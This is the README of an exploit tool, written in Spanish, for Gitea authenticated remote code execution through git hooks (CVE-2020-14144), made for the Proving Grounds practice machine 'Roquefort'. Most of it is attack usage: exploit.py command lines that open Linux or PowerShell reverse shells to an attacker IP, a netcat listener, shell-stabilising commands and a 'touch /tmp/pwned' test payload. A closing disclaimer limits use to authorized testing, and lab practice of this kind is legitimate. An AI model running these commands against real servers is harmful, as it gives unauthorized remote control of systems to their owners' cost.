
Gitea versiones 1.1.0 → 1.12.5 permiten a usuarios autenticados con el permiso "May create git hooks" inyectar comandos arbitrarios de shell en los hooks post-receive. Hacer push de un commit desencadena el hook y ejecuta el payload en el servidor.
Práctica de OffsecProvingGrounds — Informe de la Máquina Roquefort y POC
| Elemento | Detalle |
|---|---|
| Máquina | Roquefort (Práctica de Proving Grounds) |
| SO | Linux |
| Versión de Gitea | 1.7.5 |
| CVE | CVE-2020-14144 |
| Vector | RCE Autenticado vía Git Hooks |
| Shell de Usuario | chloe |
Las versiones de Gitea 1.1.0 → 1.12.5 permiten a usuarios autenticados con el permiso "Puede crear git hooks" inyectar comandos de shell arbitrarios en los hooks post-receive. Al enviar un commit se activa el hook y se ejecuta el payload en el servidor.
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux
# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows
Consulte MANUAL.md para la guía de explotación paso a paso.
.
├── README.md # Este archivo
├── MANUAL.md # Guía de explotación manual (Linux + Windows)
└── exploit.py # Script de explotación automatizado
requests (pip install requests)git instalado en la máquina atacanteusage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
[--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]
Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)
required arguments:
-t, --target Target Gitea URL (e.g. http://192.168.x.x:3000)
-u, --username Gitea username
-p, --password Gitea password
-I, --rev-ip Attacker listener IP
-P, --rev-port Attacker listener port
optional arguments:
--os Target OS: linux (default) or windows
--repo Repository name to create (default: exploit)
-f, --payload-file Custom shell script payload file
-v, --verbose Verbose output
# 1) Start listener
nc -lvnp 4444
# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444
# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 --os windows
# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
-I 192.168.45.168 -P 4444 -f payload.sh
Después de obtener la reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
| Problema | Solución |
|---|---|
fatal: dubious ownership | Clone desde ~ en lugar de carpetas compartidas, o ejecuta git config --global --add safe.directory '*' |
| No se recibe conexión | Verifica la IP del atacante, comprueba el firewall, confirma que ambas máquinas están en la misma subred |
| El hook se ejecuta pero no hay shell | Prueba primero con el payload touch /tmp/pwned — si aparece el archivo, la reverse shell está siendo bloqueada |
| Permiso denegado en hooks | El usuario no tiene permisos de hook — necesita privilegios de administrador o "Puede crear git hooks" |
| Conflicto de puerto en 3000 | Gitea usa 3000 — usa un puerto diferente como 4444 para tu listener |
Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Úsala de manera responsable.